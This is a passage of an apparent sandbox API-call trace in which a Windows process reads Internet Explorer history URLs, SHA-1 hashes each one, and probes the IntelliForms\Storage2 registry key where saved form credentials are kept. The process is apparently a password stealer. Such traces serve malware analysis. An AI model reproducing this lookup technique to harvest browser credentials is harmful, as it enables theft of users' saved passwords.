returned="59918E812E067FEB469E5606C69DC3F0CAED70" [0096.596] LocalFree (hMem=0x28e7910) returned 0x0 [0096.596] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8B") returned 2 [0096.596] lstrlenW (lpString="59918E812E067FEB469E5606C69DC3F0CAED70") returned 38 [0096.596] lstrlenW (lpString="8B") returned 2 [0096.596] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0096.596] lstrcpyW (in: lpString1=0x28e7910, lpString2="59918E812E067FEB469E5606C69DC3F0CAED70" | out: lpString1="59918E812E067FEB469E5606C69DC3F0CAED70") returned="59918E812E067FEB469E5606C69DC3F0CAED70" [0096.596] lstrcatW (in: lpString1="59918E812E067FEB469E5606C69DC3F0CAED70", lpString2="8B" | out: lpString1="59918E812E067FEB469E5606C69DC3F0CAED708B") returned="59918E812E067FEB469E5606C69DC3F0CAED708B" [0096.596] LocalFree (hMem=0x28e7670) returned 0x0 [0096.596] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9F") returned 2 [0096.596] lstrlenW (lpString="59918E812E067FEB469E5606C69DC3F0CAED708B") returned 40 [0096.596] lstrlenW (lpString="9F") returned 2 [0096.596] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0096.596] lstrcpyW (in: lpString1=0x28e7670, lpString2="59918E812E067FEB469E5606C69DC3F0CAED708B" | out: lpString1="59918E812E067FEB469E5606C69DC3F0CAED708B") returned="59918E812E067FEB469E5606C69DC3F0CAED708B" [0096.596] lstrcatW (in: lpString1="59918E812E067FEB469E5606C69DC3F0CAED708B", lpString2="9F" | out: lpString1="59918E812E067FEB469E5606C69DC3F0CAED708B9F") returned="59918E812E067FEB469E5606C69DC3F0CAED708B9F" [0096.596] LocalFree (hMem=0x28e7910) returned 0x0 [0096.596] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.596] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.782] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.782] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.782] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.782] LocalFree (hMem=0x28e7670) returned 0x0 [0096.782] RegEnumValueW (in: hKey=0x368, dwIndex=0x9, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url41", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.782] StrStrIW (lpFirst="163.com", lpSrch="?") returned 0x0 [0096.782] StrStrIW (lpFirst="163.com", lpSrch="http://") returned 0x0 [0096.782] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.783] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.783] lstrlenW (lpString="163.com") returned 7 [0096.783] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x10, dwFlags=0x0) returned 1 [0096.783] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.783] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="84") returned 2 [0096.783] lstrlenW (lpString="") returned 0 [0096.783] lstrlenW (lpString="84") returned 2 [0096.783] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7224580 [0096.783] lstrcpyW (in: lpString1=0x7224580, lpString2="" | out: lpString1="") returned="" [0096.783] lstrcatW (in: lpString1="", lpString2="84" | out: lpString1="84") returned="84" [0096.783] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="72") returned 2 [0096.783] lstrlenW (lpString="84") returned 2 [0096.783] lstrlenW (lpString="72") returned 2 [0096.783] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8d00 [0096.783] lstrcpyW (in: lpString1=0x28c8d00, lpString2="84" | out: lpString1="84") returned="84" [0096.783] lstrcatW (in: lpString1="84", lpString2="72" | out: lpString1="8472") returned="8472" [0096.783] LocalFree (hMem=0x7224580) returned 0x0 [0096.784] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3B") returned 2 [0096.784] lstrlenW (lpString="8472") returned 4 [0096.784] lstrlenW (lpString="3B") returned 2 [0096.784] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0096.784] lstrcpyW (in: lpString1=0x28c81c0, lpString2="8472" | out: lpString1="8472") returned="8472" [0096.784] lstrcatW (in: lpString1="8472", lpString2="3B" | out: lpString1="84723B") returned="84723B" [0096.784] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.784] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F9") returned 2 [0096.784] lstrlenW (lpString="84723B") returned 6 [0096.784] lstrlenW (lpString="F9") returned 2 [0096.784] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8d00 [0096.784] lstrcpyW (in: lpString1=0x28c8d00, lpString2="84723B" | out: lpString1="84723B") returned="84723B" [0096.784] lstrcatW (in: lpString1="84723B", lpString2="F9" | out: lpString1="84723BF9") returned="84723BF9" [0096.784] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.784] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="67") returned 2 [0096.784] lstrlenW (lpString="84723BF9") returned 8 [0096.784] lstrlenW (lpString="67") returned 2 [0096.784] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0096.784] lstrcpyW (in: lpString1=0x28c81c0, lpString2="84723BF9" | out: lpString1="84723BF9") returned="84723BF9" [0096.784] lstrcatW (in: lpString1="84723BF9", lpString2="67" | out: lpString1="84723BF967") returned="84723BF967" [0096.784] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.784] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9F") returned 2 [0096.784] lstrlenW (lpString="84723BF967") returned 10 [0096.784] lstrlenW (lpString="9F") returned 2 [0096.784] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0096.784] lstrcpyW (in: lpString1=0x71cfb40, lpString2="84723BF967" | out: lpString1="84723BF967") returned="84723BF967" [0096.784] lstrcatW (in: lpString1="84723BF967", lpString2="9F" | out: lpString1="84723BF9679F") returned="84723BF9679F" [0096.785] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.785] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="33") returned 2 [0096.785] lstrlenW (lpString="84723BF9679F") returned 12 [0096.785] lstrlenW (lpString="33") returned 2 [0096.785] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0096.785] lstrcpyW (in: lpString1=0x71cf460, lpString2="84723BF9679F" | out: lpString1="84723BF9679F") returned="84723BF9679F" [0096.785] lstrcatW (in: lpString1="84723BF9679F", lpString2="33" | out: lpString1="84723BF9679F33") returned="84723BF9679F33" [0096.785] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.785] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="13") returned 2 [0096.785] lstrlenW (lpString="84723BF9679F33") returned 14 [0096.785] lstrlenW (lpString="13") returned 2 [0096.785] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0096.785] lstrcpyW (in: lpString1=0x71cfb40, lpString2="84723BF9679F33" | out: lpString1="84723BF9679F33") returned="84723BF9679F33" [0096.785] lstrcatW (in: lpString1="84723BF9679F33", lpString2="13" | out: lpString1="84723BF9679F3313") returned="84723BF9679F3313" [0096.785] LocalFree (hMem=0x71cf460) returned 0x0 [0096.785] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="87") returned 2 [0096.785] lstrlenW (lpString="84723BF9679F3313") returned 16 [0096.785] lstrlenW (lpString="87") returned 2 [0096.785] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0096.785] lstrcpyW (in: lpString1=0x71cf460, lpString2="84723BF9679F3313" | out: lpString1="84723BF9679F3313") returned="84723BF9679F3313" [0096.785] lstrcatW (in: lpString1="84723BF9679F3313", lpString2="87" | out: lpString1="84723BF9679F331387") returned="84723BF9679F331387" [0096.785] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.785] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="13") returned 2 [0096.785] lstrlenW (lpString="84723BF9679F331387") returned 18 [0096.785] lstrlenW (lpString="13") returned 2 [0096.785] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0096.785] lstrcpyW (in: lpString1=0x72912f0, lpString2="84723BF9679F331387" | out: lpString1="84723BF9679F331387") returned="84723BF9679F331387" [0096.785] lstrcatW (in: lpString1="84723BF9679F331387", lpString2="13" | out: lpString1="84723BF9679F33138713") returned="84723BF9679F33138713" [0096.785] LocalFree (hMem=0x71cf460) returned 0x0 [0096.785] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="64") returned 2 [0096.785] lstrlenW (lpString="84723BF9679F33138713") returned 20 [0096.785] lstrlenW (lpString="64") returned 2 [0096.785] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0096.785] lstrcpyW (in: lpString1=0x7290b70, lpString2="84723BF9679F33138713" | out: lpString1="84723BF9679F33138713") returned="84723BF9679F33138713" [0096.785] lstrcatW (in: lpString1="84723BF9679F33138713", lpString2="64" | out: lpString1="84723BF9679F3313871364") returned="84723BF9679F3313871364" [0096.785] LocalFree (hMem=0x72912f0) returned 0x0 [0096.785] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C3") returned 2 [0096.786] lstrlenW (lpString="84723BF9679F3313871364") returned 22 [0096.786] lstrlenW (lpString="C3") returned 2 [0096.786] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0096.786] lstrcpyW (in: lpString1=0x72912f0, lpString2="84723BF9679F3313871364" | out: lpString1="84723BF9679F3313871364") returned="84723BF9679F3313871364" [0096.786] lstrcatW (in: lpString1="84723BF9679F3313871364", lpString2="C3" | out: lpString1="84723BF9679F3313871364C3") returned="84723BF9679F3313871364C3" [0096.786] LocalFree (hMem=0x7290b70) returned 0x0 [0096.786] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6F") returned 2 [0096.786] lstrlenW (lpString="84723BF9679F3313871364C3") returned 24 [0096.786] lstrlenW (lpString="6F") returned 2 [0096.786] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0096.786] lstrcpyW (in: lpString1=0x7290b70, lpString2="84723BF9679F3313871364C3" | out: lpString1="84723BF9679F3313871364C3") returned="84723BF9679F3313871364C3" [0096.786] lstrcatW (in: lpString1="84723BF9679F3313871364C3", lpString2="6F" | out: lpString1="84723BF9679F3313871364C36F") returned="84723BF9679F3313871364C36F" [0096.786] LocalFree (hMem=0x72912f0) returned 0x0 [0096.786] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9C") returned 2 [0096.786] lstrlenW (lpString="84723BF9679F3313871364C36F") returned 26 [0096.786] lstrlenW (lpString="9C") returned 2 [0096.786] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0096.786] lstrcpyW (in: lpString1=0x2815670, lpString2="84723BF9679F3313871364C36F" | out: lpString1="84723BF9679F3313871364C36F") returned="84723BF9679F3313871364C36F" [0096.786] lstrcatW (in: lpString1="84723BF9679F3313871364C36F", lpString2="9C" | out: lpString1="84723BF9679F3313871364C36F9C") returned="84723BF9679F3313871364C36F9C" [0096.786] LocalFree (hMem=0x7290b70) returned 0x0 [0096.786] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F7") returned 2 [0096.786] lstrlenW (lpString="84723BF9679F3313871364C36F9C") returned 28 [0096.786] lstrlenW (lpString="F7") returned 2 [0096.786] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0096.786] lstrcpyW (in: lpString1=0x2815a80, lpString2="84723BF9679F3313871364C36F9C" | out: lpString1="84723BF9679F3313871364C36F9C") returned="84723BF9679F3313871364C36F9C" [0096.786] lstrcatW (in: lpString1="84723BF9679F3313871364C36F9C", lpString2="F7" | out: lpString1="84723BF9679F3313871364C36F9CF7") returned="84723BF9679F3313871364C36F9CF7" [0096.786] LocalFree (hMem=0x2815670) returned 0x0 [0096.786] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="75") returned 2 [0096.786] lstrlenW (lpString="84723BF9679F3313871364C36F9CF7") returned 30 [0096.786] lstrlenW (lpString="75") returned 2 [0096.786] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0096.786] lstrcpyW (in: lpString1=0x2815670, lpString2="84723BF9679F3313871364C36F9CF7" | out: lpString1="84723BF9679F3313871364C36F9CF7") returned="84723BF9679F3313871364C36F9CF7" [0096.786] lstrcatW (in: lpString1="84723BF9679F3313871364C36F9CF7", lpString2="75" | out: lpString1="84723BF9679F3313871364C36F9CF775") returned="84723BF9679F3313871364C36F9CF775" [0096.786] LocalFree (hMem=0x2815a80) returned 0x0 [0096.786] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="62") returned 2 [0096.786] lstrlenW (lpString="84723BF9679F3313871364C36F9CF775") returned 32 [0096.786] lstrlenW (lpString="62") returned 2 [0096.787] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0096.787] lstrcpyW (in: lpString1=0x2815a80, lpString2="84723BF9679F3313871364C36F9CF775" | out: lpString1="84723BF9679F3313871364C36F9CF775") returned="84723BF9679F3313871364C36F9CF775" [0096.787] lstrcatW (in: lpString1="84723BF9679F3313871364C36F9CF775", lpString2="62" | out: lpString1="84723BF9679F3313871364C36F9CF77562") returned="84723BF9679F3313871364C36F9CF77562" [0096.787] LocalFree (hMem=0x2815670) returned 0x0 [0096.787] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="36") returned 2 [0096.787] lstrlenW (lpString="84723BF9679F3313871364C36F9CF77562") returned 34 [0096.787] lstrlenW (lpString="36") returned 2 [0096.787] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0096.787] lstrcpyW (in: lpString1=0x28e7670, lpString2="84723BF9679F3313871364C36F9CF77562" | out: lpString1="84723BF9679F3313871364C36F9CF77562") returned="84723BF9679F3313871364C36F9CF77562" [0096.787] lstrcatW (in: lpString1="84723BF9679F3313871364C36F9CF77562", lpString2="36" | out: lpString1="84723BF9679F3313871364C36F9CF7756236") returned="84723BF9679F3313871364C36F9CF7756236" [0096.787] LocalFree (hMem=0x2815a80) returned 0x0 [0096.787] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6A") returned 2 [0096.787] lstrlenW (lpString="84723BF9679F3313871364C36F9CF7756236") returned 36 [0096.787] lstrlenW (lpString="6A") returned 2 [0096.787] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0096.787] lstrcpyW (in: lpString1=0x28e7910, lpString2="84723BF9679F3313871364C36F9CF7756236" | out: lpString1="84723BF9679F3313871364C36F9CF7756236") returned="84723BF9679F3313871364C36F9CF7756236" [0096.787] lstrcatW (in: lpString1="84723BF9679F3313871364C36F9CF7756236", lpString2="6A" | out: lpString1="84723BF9679F3313871364C36F9CF77562366A") returned="84723BF9679F3313871364C36F9CF77562366A" [0096.787] LocalFree (hMem=0x28e7670) returned 0x0 [0096.787] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7E") returned 2 [0096.787] lstrlenW (lpString="84723BF9679F3313871364C36F9CF77562366A") returned 38 [0096.787] lstrlenW (lpString="7E") returned 2 [0096.787] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0096.787] lstrcpyW (in: lpString1=0x28e7670, lpString2="84723BF9679F3313871364C36F9CF77562366A" | out: lpString1="84723BF9679F3313871364C36F9CF77562366A") returned="84723BF9679F3313871364C36F9CF77562366A" [0096.787] lstrcatW (in: lpString1="84723BF9679F3313871364C36F9CF77562366A", lpString2="7E" | out: lpString1="84723BF9679F3313871364C36F9CF77562366A7E") returned="84723BF9679F3313871364C36F9CF77562366A7E" [0096.787] LocalFree (hMem=0x28e7910) returned 0x0 [0096.787] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2E") returned 2 [0096.787] lstrlenW (lpString="84723BF9679F3313871364C36F9CF77562366A7E") returned 40 [0096.787] lstrlenW (lpString="2E") returned 2 [0096.787] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0096.787] lstrcpyW (in: lpString1=0x28e7910, lpString2="84723BF9679F3313871364C36F9CF77562366A7E" | out: lpString1="84723BF9679F3313871364C36F9CF77562366A7E") returned="84723BF9679F3313871364C36F9CF77562366A7E" [0096.787] lstrcatW (in: lpString1="84723BF9679F3313871364C36F9CF77562366A7E", lpString2="2E" | out: lpString1="84723BF9679F3313871364C36F9CF77562366A7E2E") returned="84723BF9679F3313871364C36F9CF77562366A7E2E" [0096.787] LocalFree (hMem=0x28e7670) returned 0x0 [0096.787] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.787] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.787] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.788] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.788] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.788] LocalFree (hMem=0x28e7910) returned 0x0 [0096.788] RegEnumValueW (in: hKey=0x368, dwIndex=0xa, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url40", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.788] StrStrIW (lpFirst="allegro.pl", lpSrch="?") returned 0x0 [0096.788] StrStrIW (lpFirst="allegro.pl", lpSrch="http://") returned 0x0 [0096.788] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.788] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.788] lstrlenW (lpString="allegro.pl") returned 10 [0096.788] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x16, dwFlags=0x0) returned 1 [0096.788] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.788] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.788] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.788] RegEnumValueW (in: hKey=0x368, dwIndex=0xb, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url39", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.789] StrStrIW (lpFirst="cnn.com", lpSrch="?") returned 0x0 [0096.789] StrStrIW (lpFirst="cnn.com", lpSrch="http://") returned 0x0 [0096.789] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.789] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.789] lstrlenW (lpString="cnn.com") returned 7 [0096.789] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x10, dwFlags=0x0) returned 1 [0096.789] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.789] CryptDestroyHash (hHash=0x4469540) returned 1 [0096.789] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.789] RegEnumValueW (in: hKey=0x368, dwIndex=0xc, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url38", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.789] StrStrIW (lpFirst="upornia.com", lpSrch="?") returned 0x0 [0096.789] StrStrIW (lpFirst="upornia.com", lpSrch="http://") returned 0x0 [0096.789] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.790] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.790] lstrlenW (lpString="upornia.com") returned 11 [0096.790] CryptHashData (hHash=0x4469540, pbData=0x28ff190, dwDataLen=0x18, dwFlags=0x0) returned 1 [0096.790] CryptGetHashParam (in: hHash=0x4469540, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.790] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="03") returned 2 [0096.790] lstrlenW (lpString="") returned 0 [0096.790] lstrlenW (lpString="03") returned 2 [0096.790] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7224580 [0096.790] lstrcpyW (in: lpString1=0x7224580, lpString2="" | out: lpString1="") returned="" [0096.790] lstrcatW (in: lpString1="", lpString2="03" | out: lpString1="03") returned="03" [0096.790] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A8") returned 2 [0096.790] lstrlenW (lpString="03") returned 2 [0096.790] lstrlenW (lpString="A8") returned 2 [0096.790] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0096.790] lstrcpyW (in: lpString1=0x28c81c0, lpString2="03" | out: lpString1="03") returned="03" [0096.790] lstrcatW (in: lpString1="03", lpString2="A8" | out: lpString1="03A8") returned="03A8" [0096.790] LocalFree (hMem=0x7224580) returned 0x0 [0096.790] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9D") returned 2 [0096.790] lstrlenW (lpString="03A8") returned 4 [0096.790] lstrlenW (lpString="9D") returned 2 [0096.790] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8d00 [0096.790] lstrcpyW (in: lpString1=0x28c8d00, lpString2="03A8" | out: lpString1="03A8") returned="03A8" [0096.790] lstrcatW (in: lpString1="03A8", lpString2="9D" | out: lpString1="03A89D") returned="03A89D" [0096.791] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.791] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="00") returned 2 [0096.791] lstrlenW (lpString="03A89D") returned 6 [0096.791] lstrlenW (lpString="00") returned 2 [0096.791] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0096.791] lstrcpyW (in: lpString1=0x28c81c0, lpString2="03A89D" | out: lpString1="03A89D") returned="03A89D" [0096.791] lstrcatW (in: lpString1="03A89D", lpString2="00" | out: lpString1="03A89D00") returned="03A89D00" [0096.791] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.791] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="54") returned 2 [0096.791] lstrlenW (lpString="03A89D00") returned 8 [0096.791] lstrlenW (lpString="54") returned 2 [0096.791] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8d00 [0096.791] lstrcpyW (in: lpString1=0x28c8d00, lpString2="03A89D00" | out: lpString1="03A89D00") returned="03A89D00" [0096.791] lstrcatW (in: lpString1="03A89D00", lpString2="54" | out: lpString1="03A89D0054") returned="03A89D0054" [0096.791] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.791] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FE") returned 2 [0096.791] lstrlenW (lpString="03A89D0054") returned 10 [0096.791] lstrlenW (lpString="FE") returned 2 [0096.791] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0096.791] lstrcpyW (in: lpString1=0x71cf460, lpString2="03A89D0054" | out: lpString1="03A89D0054") returned="03A89D0054" [0096.791] lstrcatW (in: lpString1="03A89D0054", lpString2="FE" | out: lpString1="03A89D0054FE") returned="03A89D0054FE" [0096.791] LocalFree (hMem=0x28c8d00) returned 0x0 [0096.791] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C7") returned 2 [0096.791] lstrlenW (lpString="03A89D0054FE") returned 12 [0096.791] lstrlenW (lpString="C7") returned 2 [0096.791] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0096.791] lstrcpyW (in: lpString1=0x71cfb40, lpString2="03A89D0054FE" | out: lpString1="03A89D0054FE") returned="03A89D0054FE" [0096.791] lstrcatW (in: lpString1="03A89D0054FE", lpString2="C7" | out: lpString1="03A89D0054FEC7") returned="03A89D0054FEC7" [0096.791] LocalFree (hMem=0x71cf460) returned 0x0 [0096.791] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2B") returned 2 [0096.791] lstrlenW (lpString="03A89D0054FEC7") returned 14 [0096.791] lstrlenW (lpString="2B") returned 2 [0096.791] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0096.791] lstrcpyW (in: lpString1=0x71cf460, lpString2="03A89D0054FEC7" | out: lpString1="03A89D0054FEC7") returned="03A89D0054FEC7" [0096.791] lstrcatW (in: lpString1="03A89D0054FEC7", lpString2="2B" | out: lpString1="03A89D0054FEC72B") returned="03A89D0054FEC72B" 